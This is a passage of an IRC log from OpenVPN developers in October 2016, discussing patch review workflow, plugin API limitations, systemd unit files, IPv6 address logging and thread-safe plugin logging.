distributed patch system, please do let us know ... we can't rely on github (or any other similar solution) as if that service vanishes what happens to all our history? ML are now archived several places, so it's a bigger chance we won't loose anything 13:51 <@dazo> (hence why we also add the Message-Id into all commits too, to have something unique to search for) 13:51 < danhunsaker> We can host our own git repos. :P 13:52 <@dazo> danhunsaker: yeah, that's actually fairly reasonable ... but then we can manipulate it more easily too ;-) 13:52 <@dazo> security products needs some way of transparency and audit possibilities .... manipulating X numbers of mail archives is quite harder :) 13:52 < SviMik> danhunsaker with blackjack and hookers? 13:53 < danhunsaker> I know the corp side has a dedicated GitLab server, so setting up one for the community side shouldn't be too tricky... 13:53 < danhunsaker> SviMik: As if it needed saying! 13:53 < SviMik> :) 13:53 <@dazo> I am actually a fan of doing that, danhunsaker! But to have it in parallel with other services ... but again, the review process should be distributed 13:54 < danhunsaker> There are ways to enforce that. 13:54 < danhunsaker> For one, the GitLab server could send messages to the ML for each PR it gets. 13:54 <@dazo> but having a public git repo hosted under an openvpn.net domain would be most welcome ... then our users can add sf.net and github too, and validate that the repo is authentic 13:55 < danhunsaker> If nothing else, via git hook scripts. 13:55 <@dazo> we certainly can look into such an approach, yes 13:55 < danhunsaker> Had I known it was just lack of suitable alternatives... Sheesh. 13:56 < danhunsaker> :D 13:56 <@dazo> as long as backwards traceability in the future is covered, I'm fairly okay with alternatives 13:56 < danhunsaker> Sure, the entire repo goes in. 13:57 < danhunsaker> We can even set up redundant backup repos that automatically sync with the master. 13:58 <@dazo> but I have to say, I'm not too much fan of clicking at buttons on web-pages to get things done. My mantra is: What can't be done on the command line isn't worth doing! ... and we work fairly efficiently here today (once we sit down and actually start doing the patching, reviewing and testing) 13:58 < danhunsaker> Well, yeah. There's nothing saying you have to use the web UI. Git has its own 'request-pull' feature. 13:59 <@dazo> redundant backups are fine ... as long as it screams loudly if the git tree is in an unexpected state 13:59 < danhunsaker> Well, it'd use git for the sync, not anything lower level, so yeah, that should be a given. 13:59 <@dazo> next thing is the Acked-by tag we add ... that's an important detail, to document whom have looked at the patches 14:00 < danhunsaker> That's what -s is actually for. :P 14:00 <@dazo> nope 14:00 <@dazo> Signed-off-by is somewhat abused by us today ... but the SOB is actually more related to this http://www.developercertificate.org/ 14:00 <@vpnHelper> Title: Developer Certificate of Origin (at www.developercertificate.org) 14:01 <@dazo> (with the OpenVPN 3 code base, we will actually have something similar ... where the SOB means you grant the project some rights to the patch) 14:02 <@dazo> I say we somewhat abuse it today ... as we haven't put any official legal terms to it today. But that will change with OpenVPN 3 14:02 < danhunsaker> Hmmm. OK, fair. 14:03 < danhunsaker> Pretty sure adding the Ack tags requires the equivalent of a `git --amend` though. 14:03 < danhunsaker> Still tricky either way. 14:04 <@dazo> yeah, or somewhat similar .... but it is most likely scriptable ... worst case ... git format-patch, git mailinfo, manipulate proper files, put them together and git am them 14:05 <@dazo> it's something similar I do with git-sign-patch and git-verify-patch 14:06 < danhunsaker> Seems ... excessive. 14:06 < danhunsaker> But yeah. 14:06 <@dazo> or we patch git and convince git upstream this is a clever feature! ;-) 14:11 < danhunsaker> Or we investigate existing features further until we find exactly what we're looking to do already supported... 14:14 <@dazo> huh!?!? nah, we're not going to be mainstream! then I'm out'a'here! 14:21 < SviMik> the plugin system is boring. it can't even setup a function to be called on a regular interval 14:21 < SviMik> (or can it?) 14:22 <@dazo> SviMik: there are no timer mechanism provided via the plug-in interface .... normally your plug-in would start a new thread, doing such timer based work in a parallel thread 14:25 < SviMik> dazo that's what I did! but what if I want to synchronize with main thread to do something there? ah yes, there is no any API which can be called by the plugin anyway... Lame. 14:26 < SviMik> if plugin decide to kill some client at arbitrary time... there is no API for that. 14:26 <@dazo> SviMik: that's currently called the management interface (the tcp based stuff) 14:26 < SviMik> if plugin want to collect some stats... there is no API for that. 14:26 <@dazo> the plug-in interface have not been extended with those features 14:27 <@dazo> SviMik: you might be interested in looking into the D-Bus work I'm working on .... where such things will be possible 14:27 < SviMik> and the plugin have to use management interface so the program could connect to.. itself. Lame. 14:28 <@dazo> well, it hasn't been implemented .... what else can you say to that? and why's that? because nobody else had that need earlier or found other ways to do that 14:28 < SviMik> can the plugin even know on which port the management interface is?? 14:28 < SviMik> and check if is it enabled at all 14:29 <@dazo> I don't recall all the config options passed over to plug-ins via some env variables ... if it's lacking, it should be a fairly easy thing to add 14:35 < SviMik> I'm just... frustrating because why the plugin system is there, if people need to patch the openvpn itself to add something 14:35 < SviMik> just found somebody already tried to add OPENVPN_PLUGIN_ACCOUNTING https://community.openvpn.net/openvpn/ticket/15 14:35 <@vpnHelper> Title: #15 ([PATCH] Enabling Accounting/Stats for plugins) – OpenVPN Community (at community.openvpn.net) 14:36 < SviMik> Opened 6 years ago 14:36 < SviMik> Closed 3 years ago 14:36 < SviMik> Resolution set to wontfix 14:36 < SviMik> wtf 14:37 < slypknot> SviMik: that is/was the devs at the time .. they will not take on extra work for nothing .. but as a contributor you can always bring your work to the tanle 14:37 < slypknot> table* 14:40 <@dazo> and this also is an indication of how "important" this feature is ... if we have 2 requests in 6 years, it's most likely not something we're going to put too much efforts in reviewing and maintaining ... especially when considering the list of other more important unfixed Trac tickets 14:40 <@dazo> it's all about priorities 14:48 * SviMik have already made a plugin which runs "client-disconnect"-compatible script asynchronously. and now starting with "client-connect", which is essentially the same, except I need to handle the return value and kill the client if necessary 14:51 < SviMik> I guess I can take the config file name from env and parse it to find a management interface. extremely stupid, but there is no other way. 14:54 <@dazo> or send a patch which provides management interface details available via the env variables in plug-ins ..... 14:54 <@dazo> just sayin' 14:56 < SviMik> to be thrown off because it's not important enough? 14:57 < slypknot> could you somehow link into '--status file *interval' somhow for monotonic events ? 14:58 < SviMik> the plugin indeed can read the status file. but it doesn't have to be a plugin then 14:59 < SviMik> but plugin can't enable status file, if it wasn't in config 15:00 < danhunsaker> SviMik: There's a big difference between "not high enough priority to implement ourselves" and "not high enough priority to accept a patch from someone else"... 15:01 < danhunsaker> Not sure I've seen anything fall into the second category, at least not since June. 15:01 < SviMik> danhunsaker I thought there was a ready patch, no?... 15:01 < danhunsaker> Three to six years ago, a lot of things fell into the second category. 15:01 < danhunsaker> That was then. This is now. 15:02 < slypknot> 1984 ! 15:02 < slypknot> :) 15:02 < SviMik> Fun thing just found: 15:02 < SviMik> #if 0 15:02 < SviMik> /* removed for now since ECHO can potentially include security-sensitive strings */ 15:02 < SviMik> msg (M_INFO, "%s:%s", pull_mode ? "ECHO-PULL" : "ECHO", BSTR (&string)); 15:02 < SviMik> #endif 15:02 < SviMik> (c) options.c 15:03 < SviMik> can I read a backstory somewhere? like what has happened there 15:03 < SviMik> it seems to be one of the features I was looked for, but killed for some reason 15:05 < SviMik> the entire "echo" option was just killed 15:05 <@dazo> most likely it was that the string wasn't escaped properly and a script receiving this could suddenly start to kick off tasks at the remote side with root privileges 15:06 <@dazo> 'git blame' should give a fair idea which commit this change happened in 15:06 < slypknot> only for windows .. linux still works 15:06 < slypknot> june 2012 ish 15:07 < slypknot> may ~ december 1012 15:07 < SviMik> most our clients use windows... 15:07 < slypknot> echo does not work for windows 15:08 < SviMik> if I understand correctly, this option could be used to send a custom message to client, which goes to the log, am I right? 15:08 < slypknot> (i may be slightly confued but I remember pekster/irc tell me about it) 15:09 < slypknot> it is supposed to echo to log file, yes 15:09 <@dazo> SviMik: that's possible to do via some push setenv-safe, iirc 15:09 < SviMik> dazo how setenv can result in a log string? 15:11 < SviMik> I was looking for some way to send custom messages to the client, so he could see it in his log. extremely nice feature. could be... 15:12 <@dazo> It's long ago I read about doing exactly that ... it was in the OpenVPN 2 Cookbook by jjk/janjust 15:12 < SviMik> (actually, I still can do that by sending some invalid message - it *will* appear. doesn't look nice though) 15:12 <@dazo> I don't have the book handy, so can't look it up easily now 15:13 < SviMik> dazo that's interesting... too bad I don't have it either... :( 15:13 < slypknot> https://openvpn.net/index.php/open-source/books.html 15:14 < slypknot> the books ^^ 15:16 < SviMik> ˆ28.78, huh 15:21 < SviMik> dazo thx, found! 15:24 < SviMik> it's not exactly that. it is GUI feature, and the message will pop out with the messagebox. doesn't go to the log though, so it's not usable in console mode, service mode, or with 3rd-party clients. 15:28 < SviMik> s/clients/gui 15:34 <@dazo> *sigh* ... SviMik I'm telling you that what your goal is, is doable ... but not in the way you expect it to. 15:34 * dazo calls it a day 15:40 < SviMik> I know everything is possible... but it is not bad to wish an elegant solution, right?... 15:48 < slypknot> elegant solutions need elegant thinking ;) 15:49 < slypknot> ecrist: FYI .. looks like [oconf=X] dould be improved : https://forums.openvpn.net/viewtopic.php?f=4&t=22650&p=65122#p65122 15:49 <@vpnHelper> Title: OpenVPN on Raspberry Pi works from iOS but not Windows - OpenVPN Support Forum (at forums.openvpn.net) 18:58 * ecrist looks 18:59 <@ecrist> slypknot: what's wrong with it? 19:00 <@ecrist> oh, I see 19:33 < SviMik> Fri Oct 21 03:25:12 2016 async_script: Found management interface at 127.0.0.1:2004 19:33 < SviMik> YAY ^_^ 19:33 < SviMik> the plugin has found config file name in ENV, then found "management" line in config, and extracted management IP and port from there 21:11 < SviMik> I did it! Works perfectly http://pastebin.com/raw/vmKZhntU 21:12 < SviMik> plugin /etc/openvpn/async_script.so client-connect /etc/openvpn/scripts/callback.php 21:12 < SviMik> plugin /etc/openvpn/async_script.so client-disconnect /etc/openvpn/scripts/callback.php 21:14 < SviMik> Works faster than just a forking script, because the php/python/whatever interpreter needs to start up before it actually start executing your script and see your fork() there 21:17 < SviMik> In my plugin I just start a separate thread, and return control to ovpn immediately. Literally immediately. And then the thead makes fork(), execve(), checks the exit code, and kills the client if necessary 21:55 < ordex> phew 21:56 < ordex> so silent this channel at this time:) 22:07 < ordex> mh the mbedtls copright sharing agreement is not really the best for an open source project .. no ? 22:19 < ordex> mh no channel..no mailing list 22:19 < ordex> hard to talk to this guys .. anyway I'll see how this work :) --- Day changed Fri Oct 21 2016 02:28 <@mattock> plaisthos: can you review the final version of https://github.com/OpenVPN/openvpn-build/pull/35 ? 02:28 <@vpnHelper> Title: Migrate INSTALL-win32.txt from the OpenVPN project and modernize it. by mattock · Pull Request #35 · OpenVPN/openvpn-build · GitHub (at github.com) 02:29 <@mattock> I also fixed one minor typo I noticed in the alpha2 version of INSTALL-win32.txt 02:36 < ordex> syzzer: the reason why I stored the CRL object in c1 was exactly to avoid "having multiple instances of the CRL object around".maybe the object can be stored somewhere else and then the pointer can be shared among the different tls_ctx ? (at least for mbedtls..) 03:39 <@plaisthos> mattock: I hit an approve button 03:46 <@mattock> plaisthos: thanks! 04:22 <@mattock> plaisthos: I also created a separate PR for openvpn-build's "release/2.3" branch here: https://github.com/OpenVPN/openvpn-build/pull/38 04:22 <@vpnHelper> Title: Migrate INSTALL-win32.txt from OpenVPN "release/2.3" to openvpn-build by mattock · Pull Request #38 · OpenVPN/openvpn-build · GitHub (at github.com) 04:22 <@mattock> basically the INSTALL-win32.txt is just copied over from openvpn as-is 04:23 <@mattock> if you want to approve that (or suggest any improvements for OpenVPN 2.3.x installers) it'd be great! 05:07 <@dazo> [Friday OT] "What is the problem with git jokes? Everyone hae their own version." 05:16 <@plaisthos> should I send a new formatting patch or just fix in commit? 07:23 * slypknot is now running 2.4_alpha2 Linux:arch/cos7/deb8/gentoo/fed24/suse42 07:24 * cron2 has run 2.4_alpha2 wednesday night already :) 07:25 < ordex> slypknot: cron2: what do you mean with running? you have a test server box running it and several client connecting and doing $random traffic ? or you use it for personal purposes ? 07:25 < ordex> just curious about how you test it :) 07:25 <@cron2> src/openvpn/openvpn --version 07:26 <@cron2> yay, 2.4_alpha2! 07:26 <@cron2> (and then it ran the t_client test suite, and thursday evening it got compiled on a "server for t_client tests" that runs against 2.2/2.3/master/master+mbedtls clients) 07:27 <@cron2> was way too busy to actually upgrade anything else - but would fully trust the code to do all "normal things" properly 07:27 < ordex> oh ok 07:27 <@cron2> ecrist: btw, please be upgrading openvpn-devel :-) 08:02 <@dazo> cron2: do you think it makes sense to have a full review process on the systemd unit files? 08:02 * dazo have divided opinions on that himself 08:04 * slypknot cannot see a reason to not do so .. 08:07 <@cron2> well 08:07 <@cron2> it's not openvpn code, so it won't bring in crypto issues, memleaks, etc. on its own - so "making our code less secure" is not going to happen by systemd unit patches 08:08 <@dazo> slypknot: it's more that those with the systemd knowledge to properly review are scarce .... we have a possibility for a lazy-ack after 14 days, but that is a bit annoying for such simple stuff 08:08 <@cron2> otoh, having good and robust rc.d and unit files is good for the "operational stability" of openvpn 08:08 <@cron2> so a review process is still *useful* 08:09 <@cron2> but indeed, having someone who is able to contribute a meaningful review *do so* is not easy either 08:09 <@dazo> cron2: well ... I've started to add some hardening to the unit files .... so later on, changes to those can impact how secure openvpn is run 08:09 <@vpnHelper> RSS Update - gitrepo: Remove verbose msg() from send_push_reply() <https://github.com/OpenVPN/openvpn/commit/f3145272584ac60e061ade0325bb72bada674957> || Preparing for release v2.4_alpha2 (ChangeLog, version.m4) <https://github.com/OpenVPN/openvpn/commit/d600b2c8817c01c96408e765bc6d63fd362d5bd4> || Fix use-after-free bug in prepare_push_reply() <https://github.com/OpenVPN/openvpn/commit/83fdae3e9c482a3d3ceca484d96e1241359a0450> || 08:09 <@cron2> dazo: "later on", yes (but even then, openvpn needs to be secure in itself, as it is run on non-systemd systems) 08:10 <@dazo> ack! 08:10 <@cron2> so, I can see the argument going either way, and have no strong feeling 08:10 <@dazo> then we're two :) 08:10 <@cron2> what about: get someone to test it and report back? that should be good enough for "non-code" bits in our repo... 08:11 <@cron2> (as long as the change itself is still public, and someone has the *chance* to review it and shout "NAK!") 08:11 <@dazo> We'll give it a bit more time on the ML ... and we'll ensure we get them in before alpha3 .... I've also added comments to this on the github PRs too 08:11 <@dazo> (with pointers to the ML archive) 08:12 < slypknot> I am reasonably familiar with systemd and happy to test :) 08:12 <@dazo> slypknot: cool! That will be very helpful! 08:12 <@cron2> there we go :) 08:13 <@dazo> I've tested both client and server on my own stuff ... but that's not really an objective test :) 08:13 < slypknot> likewise 08:14 < slypknot> the only VM I have that does not use systemd (yet) is gentoo using init.d 08:14 < slypknot> and freebds .. which is a querky beast to me 08:14 < slypknot> freebsd* 08:16 <@cron2> *BSD questions can be thrown my or ecrist's way 08:17 < slypknot> with freebsd - i cannot build openvpn yet because I cannot work out where the lzo + lz4 libs are .. any pointers would be welcome .. I am gonna sit down with it this weekend and see what I can do 08:17 < slypknot> thanks cron2 :) 08:18 < slypknot> I'll be sure to ask once I can workout what I have done wrong 08:25 <@mattock> dazo: do you know of any distros that actually use our systemd unit files? 08:25 <@mattock> debian and ubuntu don't 08:26 <@mattock> fedora doesn't seem to either 08:26 <@dazo> mattock: not currently ... but I have been in contact with the Fedora and Debian package maintainer, both are interested in shipping ours ... need to check up Arch, Gentoo and others as well 08:26 <@mattock> yeah, that I suspected 08:26 <@mattock> we have to market them 08:26 <@dazo> we just need to sort out those last issues ... but when that is done, there are no real reasons why each should ship their own 08:26 <@mattock> ubuntu's systemd unit file has a rather nasty bug (=EC2 VMs do not start up if openvpn starts at boot) 08:27 <@dazo> eek ... do we know why? 08:27 <@mattock> yes, let me dig out the bug report 08:27 <@mattock> https://bugs.launchpad.net/ubuntu/+source/openvpn/+bug/1580356 08:28 <@vpnHelper> Title: Bug #1580356 “OpenVPN causes reboot failure on Xenial in AWS” : Bugs : openvpn package : Ubuntu (at bugs.launchpad.net) 08:28 <@mattock> our systemd unit files seem to fix the issue 08:30 <@mattock> plaisthos: what formatting patch are you talking about? 08:30 <@dazo> mattock: right ... I expected it to be related to network-online.target ... and we have that as a Wants= condition too 08:33 < slypknot> I believe Wants= is not sufficient, it should be Requires= and (belt and brasses) After=network* 08:34 < slypknot> brasses = braces ! 08:37 < slypknot> I actually use: Requires & After = netctl@eth0.service network-online.target multi-user.target 08:37 < slypknot> because at different times (systemd updated ?) only using one option failed .. I even had to use timers at first 08:38 < slypknot> ages ago 08:38 <@dazo> the client side should probably have Requires= .... but the server variant shouldn't depend on being online to start 08:39 < slypknot> no doubt I don't fully understand it but openvpn fsiled to start for various reasons in the past 08:39 < slypknot> especially on arch linux 08:40 < slypknot> i expect this is due to teething systemd 08:40 <@dazo> yeah, the fine grained mechanics to start services in the right order under the right conditions is a bit enigmatic at times 08:42 < slypknot> i had to look up enigmatic ;) seems about right 08:43 < SviMik> shouldn't depend on being online to start // and get the "socket bind failed" error? 08:44 < SviMik> (if I understood the discussion correctly) 08:44 <@d12fk> any unit test purists/experts here 08:44 <@dazo> SviMik: that will *only* happen if the config contains --local ... which is not that common on server configs 08:44 <@d12fk> specifically cmocka style 08:45 < slypknot> SviMik: would need to do systemd test as even though docs say one thing experience often says different. 08:46 <@dazo> d12fk: try shooting a mail to Jens Neu*(something) ... I believe he introduced these tests, he seems to be quite knowledgeable .... I don't think he hangs around here too often 08:48 < SviMik> dazo not common? How's that? I always specify the interface to listen on, cause most of my servers have multiple IP addresses 08:50 <@dazo> what you do, doesn't mean it's common .... I'm referring to all those hundreds server configs I've seen pastebin'ed at #openvpn 08:50 < slypknot> SviMik: although not conclusive on the forum nobody ever uses --local on thier server configs , altho i do like you 08:51 * slypknot has to go shopping .. byee 09:09 <@plaisthos> mattock: the one where you notice one ` missing 09:10 <@plaisthos> but for most "casual" users wanting a few more seconds to start the vpn server is not critical 09:12 <@mattock> plaisthos: a new patch would be nice _if_ you also fix the "no mention of interactive service" thing 09:12 <@mattock> but for the ` fix fixing the fly is good enough imho 09:12 <@mattock> you have my ACK on the patch besides that 09:13 <@plaisthos> oh yeah 09:13 <@plaisthos> interactive service is missing completely 09:15 <@cron2> SviMik: you can use --multihome and it will nicely work with all the addresses :-) - but that's a local policy thing what you want 09:16 <@cron2> --local, unfortunately, breaks "use v4 and v6 in parallel" 09:18 < SviMik> cron2 the point is that I don't want VPN to expose on other IP addresses 09:20 <@cron2> that's why I said "a local policy thing" 09:20 <@dazo> but even if you do --local $PUBLIC_IP .... clients from LAN can still access the $PUBLIC_IP from LAN, so it gives no real benefit (rightfully enough, you would need --multihome or some NAT rules to make it truly work) .... my point is, to restrict what you want, you need to use firewalling .... --local doesn't bring you much extra 09:20 <@dazo> My experience is that adding --local actually makes things more fragile, like starting up OpenVPN during boot 09:21 < SviMik> dazo just another argument - I use port 443 for TCP. on one IP there is openvpn, on anothere IP there is web server. 09:22 <@dazo> fair enough, that's a valid use case for --local 09:22 <@plaisthos> anything else we forgot to mention that is mentionalbe? 09:22 <@plaisthos> Android Support is new in 2.4, should I add that? 09:22 <@plaisthos> Even though it does not really matter to anyone? 09:23 <@dazo> plaisthos: it could be worth mentioning that "OpenVPN for Android" is based on this version 09:24 <@dazo> so if anyone wants to truly make their own Android GUI from scratch without abusing your code ... they know where to start at least 09:24 <@plaisthos> dazo: Right 09:24 <@dazo> (not that I truly believe anyone would do that ... but that's a different story ;-)) 09:25 * plaisthos points at lev__ and F-Secure 09:25 <@dazo> :) 09:25 <@plaisthos> I think there are some who figures out that you can do that 09:25 <@plaisthos> but yeah 09:27 <@plaisthos> This support is primarily used in the "OpenVPN for Android" app 09:27 <@plaisthos> (http://code.google.com/p/ics-openvpn/). For building see the developer 09:27 <@plaisthos> README: https://github.com/schwabe/ics-openvpn/blob/master/doc/README.txt 09:27 <@vpnHelper> Title: GitHub - schwabe/ics-openvpn: OpenVPN for Android (at code.google.com) 09:27 <@vpnHelper> Title: ics-openvpn/README.txt at master · schwabe/ics-openvpn · GitHub (at github.com) 09:27 <@plaisthos> I changed one of the links but not the other 09:28 <@plaisthos> and nobody noticed :p 09:28 <@dazo> :) 09:29 <@plaisthos> cron2: should I add your strange AIX port? 09:36 <@cron2> yes! please! 09:36 <@cron2> major breakthrough! 09:36 <@plaisthos> AIX platform support 09:36 <@plaisthos> AIX platform support has been added. The support only includes tap 09:36 <@plaisthos> devices since AIX does not provide tun interface. 09:36 <@cron2> ok 09:39 <@plaisthos> ist client-nat new in 2.4 09:39 <@plaisthos> or is that already in 2.3? 09:39 <@dazo> now even real servers can use openvpn! ;-) 09:39 <@dazo> I think client-nat was in 2.3 09:40 <@dazo> yupp! 09:41 * dazo need to fetch some food 09:46 < SviMik> git fetch food 09:47 <@plaisthos> the small fix I wanted to do 09:47 <@plaisthos> and now the patch v2 adds many things 09:59 <@d12fk> make check in the unti_tests dir does nothing. is that intended? 09:59 <@d12fk> *unit_tests 10:00 <@d12fk> ah probably because of: "if CMOCKA_INITIALIZED" 10:58 <@dazo> :) 12:11 <@dazo> cron2: Is this a bug? Configure a server with --proto udp6 ... client connects via IPv4 (gets reported as ::ffff:1.2.3.4) ... and in client-connect scripts, this ::ffff: address appears on trusted_ip6 while trusted_ip is empty 12:11 * dazo leans towards this being a bug 12:12 <@cron2> technically it's a missing code path 12:12 <@cron2> that is: if it comes in on a v6 socket, it is a v6 address, period (because there is nothing else on a v6 socket, right?) 12:13 <@cron2> most parts of openvpn have been taught to present ::ffff:1.2.3.4 as "1.2.3.4" instead, because the v6 notion is not useful except for technicalities 12:13 <@cron2> *this* part would need to be taught ("if it's a v4-mapped v6 address, put into trusted_ip") 12:13 <@dazo> agreed ... I don't think it mattes if the ::ffff: address is present in trusted_ip6 at the same time in this case ... but the plain IPv4 should be in trusted_ip 12:13 <@cron2> dazo: please open a trac ticket that contains what it does on a v6 socket and on a v4 socket, and assign to me 12:14 <@dazo> I thought I could have a peek at fixing this now 12:14 <@dazo> and I'll create a ticket for it during today 12:14 <@cron2> the whole v6 mess is typically mine, so I'm willing to take it :-) - but if I don't have to, I can break other stuff instead. 12:15 <@cron2> (like, --show-gateway on NetBSD 7... it works on NetBSD 5.1, but "something" changed) 12:20 <@dazo> :) 12:23 <@dazo> mattock: I think there might be a ™ issue on this one: http://www.pivpn.io/ 12:23 <@vpnHelper> Title: PiVPN: Simplest setup of OpenVPN (at www.pivpn.io) 12:49 <@dazo> cron2: you have already fixed that trusted_ip issue ... but its in git master only .... the reported logged out before I could verify he used a 2.3 release 12:49 <@dazo> $ git tag --contains 0b1a68fffa33e175c320c2828604cdc7dfb097e7 12:49 <@dazo> v2.4_alpha1 12:49 <@dazo> v2.4_alpha2 12:50 <@dazo> $ git branch --contains 0b1a68fffa33e175c320c2828604cdc7dfb097e7 12:50 <@dazo> * master 12:51 <@dazo> $ git ql 0b1a68fffa33e175c320c2828604cdc7dfb097e7 | head -n1 12:51 <@dazo> * 0b1a68f - Print remote IPv4 address on a dual-stack v6 socket in IPv4 format (2015-02-15 23:04:12 +0100) 12:51 <@cron2> dazo: now that was easy :) 12:51 <@dazo> exactly what I was about to say :) 12:51 <@cron2> (I remember that I've fixed this in a number of places, and I *thought* that I overlooked this one) 12:52 <@dazo> should we consider backporting it to 2.3? 12:53 * dazo just did ... with a cherry-pick 12:53 <@dazo> and no conflicts or errors .... just too easy :-/ 12:58 * slypknot smells trouble ;) 13:01 <@cron2> dual-stack on v6 server sockets is not very well defined in general 13:01 <@cron2> no knob to turn dual-stack on or off, and I think most of the logging will have ::ffff:1.2.3.4 in it still 13:01 <@cron2> so I'd consider that part of the "v6 enhancement in 2.4" and wouldn't add it to 2.3 13:03 <@dazo> but currently the ::ffff:1.2.3.4 syntax confuses some log parses (logwatch on Fedora/RHEL, for example) .... and this commit, from an isolated perspective only modifies the log/env variables 13:04 <@dazo> (I agree that log parses needs to get an update .... but, despite our IPv6 future, most users are still on IPv4) 13:10 <@cron2> mmmh 13:10 <@cron2> I'm not sure what sort of socket a "proto udp" socket will give you on 2.3 on the server side 13:10 <@dazo> alright, I'll do some testing and see how it behaves 13:10 <@cron2> if you get a dual-stack socket by default, and have to turn that off by means of a sysctl, I agree - logging should be sane 13:11 <@cron2> if you need --proto udp6 to get a dual-stack socket (on Linux), I think folks using this should just go to 2.4 instead 13:11 <@dazo> I think you're right here ... you need --proto udp6 to get dual socket 13:11 <@cron2> so what I'm trying to say: if people actively enable v6 in 2.3 servers, they won't be surprised - if it happens "by ambush", there should not be ::ffff: stuff 13:12 <@cron2> but anyway, I can be convinced that it should go to 2.3 anyway :) - I'm just very conservative sometimes (as you've experienced :) ) 13:15 <@dazo> the ::ffff: stuff in logs have been annoying me for a bit, but as I use more bleeding edge code a few places, I cope with it .... and when I see do have a fix, it's annoying to still see this :) 13:15 <@cron2> go fix it :) 13:15 <@dazo> (I have enabled udp6 on all boxes with IPv6 support, even though connections often happen over IPv4) 13:15 <@cron2> this is why I added these changes, because it annoyed me too 13:16 <@dazo> :) 13:16 <@cron2> ... with careful testing... not sure if that code assumes anything 2.3 might not have 13:16 <@dazo> well, I'll upgrade to alpha releases soon .... so I won't be so annoyed in coming weeks ;-) 13:16 <@cron2> hrhr 13:16 <@cron2> anyway. exhaustion sets in... it was a long day. TV now! 13:17 <@dazo> enjoy! 13:25 * slypknot passes the scotch 13:52 < SviMik> can a plugin say something to openvpn log? 13:53 < SviMik> if I run in foreground I can just printf(), but what do in --daemon mode? 14:01 <@dazo> SviMik: yes, the v3 API have a pointer to an openvpn log function 14:02 <@dazo> look for struct openvpn_plugin_callbacks 14:04 < SviMik> but I can't call it from another thread, right?... 14:04 <@dazo> if it's a thread it should be possible. If it is forked out, it is not possible 14:05 <@dazo> (threads can share much of the same memory segments, fork() creates a separate process with its own memory segment) 14:06 < SviMik> yes, technically I *can* grab the ponter, and call it whenever I want. but is this function thread-safe? 14:07 < SviMik> or I can get a mess in the log or something worse? 14:07 * dazo checks 14:08 < SviMik> pleaseplease be thread-safe 14:08 <@dazo> good point ... the code does not have any mutex, but that's an easy fix 14:08 < SviMik> fck. 14:10 <@dazo> don't be so surprised ... the complete openvpn code have been designed to be single threaded, and that has not changed since the release in 2001-ish 14:11 < SviMik> (sure I can fix it, but I'm trying to make a plugin that will work without openvpn modifications) 14:12 <@dazo> well, but that's how it works ... we fix things, get it reviewed, it gets included into a release ... and you have it without further changes 14:12 <@dazo> you just don't get it right now 14:14 < SviMik> I can buffer the data, and commit it next time when some function is called... but the lines in log will be out of order then... 14:18 < SviMik> screw it. for daemon=0 printf() works just fine, and for for daemon=1 I'll just disable printing at all 14:25 <@dazo> SviMik: if you log to syslog, it shouldn't be any problem. If you log to file, it will most likely be some issues 14:25 < SviMik> file 14:29 <@dazo> this would be a very naive, but probably most likely functional write lock ... https://paste.fedoraproject.org/456766/47707788/ 14:31 <@dazo> As the number of threads most likely won't be that enormous, the chance for a collision on the 'write_lock' is fairly small. Otherwise we need to extend with proper POSIX mutex handling, which requires configure.ac changes to detect if we have it or not 15:09 < slypknot> http://www.cs.tau.ac.il/~afek/gadi.pdf 15:10 < slypknot> ironically exceptionally annonimous 15:14 <@dazo> thx! that's an interesting article (only skimmed it quickly now, saves it for later :)) 15:16 < SviMik> dazo do you have any openvpn_plugin_open_v3() and plugin_log() example? 15:17 < SviMik> I just did some reverse engineering, because there is no samples in google... 15:18 < SviMik> It complied without warnings... But throw a segmentation fault :) 15:18 <@dazo> not handy right now 15:18 * dazo ponders .... and looks at some old code somewhere else 15:21 < SviMik> found! just a missed the 2nd argument in plugin_log 15:22 <@dazo> SviMik: nothing simple at hand ... but key concept is .... define a local function pointer ... plugin_vlog_t ovpn_log 15:22 < SviMik> and 'cause the arg list is variable, there was no warning 15:22 < SviMik> it works 15:22 <@dazo> ahh! 15:22 <@dazo> nice 15:28 < SviMik> /* A macro to spam into the openvpn log */ 15:28 < SviMik> #define ovpn_msg(...) (*arguments->callbacks->plugin_log)(PLOG_WARN, "async_script", __VA_ARGS__) 15:28 < SviMik> ^_^ 15:28 <@dazo> yeah, that would do it 15:31 <@dazo> so I have a commit ready ... not convinced yet I'll send it to the ML, but I'll have it a separate branch if I redecide 15:31 <@dazo> https://paste.fedoraproject.org/456782/77081575/raw/ 15:31 <@dazo> feel free to test it and report back 15:32 < SviMik> usleep(25) is 25us, not 25ms 15:33 <@dazo> right! that's a typo 15:34 < SviMik> but in windows, Sleep(25) is 25ms :) 15:34 <@dazo> right, I wanted a very short sleep ... 25µs should be fine though, it's not that complicated code paths being called 15:35 <@dazo> it's just a typo in the comment ... thinkink 'micro' and typing 'm' :) 15:37 <@dazo> eek, even breaking the coding style :-P 15:39 <@dazo> okay, fixed locally :) 15:39 * dazo calls it a week 15:41 < SviMik> dazo if you bring POSIX mutex into the project, that would be extremely interesting :) cause potentially there may be more such things 15:47 < SviMik> the usleep() thing sure works, but I doubt will be accepted in ML 17:01 < SviMik> I have extended the execve() with stdout capturing, so the client-connect script can not only do exit(1), but also print the message, which appears... in the client log! :) 17:01 < SviMik> and that actually works 17:03 < SviMik> client-connect script: <?php echo "Too many connections"; exit(1); ?> 17:03 < SviMik> client log: Sat Oct 22 00:53:59 2016 Halt command was pushed by server ('Too many connections') 18:05 -!- Netsplit *.net <-> *.split quits: @plaisthos, @syzzer, @vpnHelper, @dazo, @cron2, danhunsaker, s7r, @mattock, +krzee 18:11 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 18:11 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 18:11 -!- ServerMode/#openvpn-devel [+ovoo d12fk krzee mattock vpnHelper] by rajaniemi.freenode.net 18:11 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 18:12 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 18:12 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 18:12 -!- ServerMode/#openvpn-devel [+o syzzer] by rajaniemi.freenode.net 18:12 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 18:12 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 18:12 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 18:12 -!- 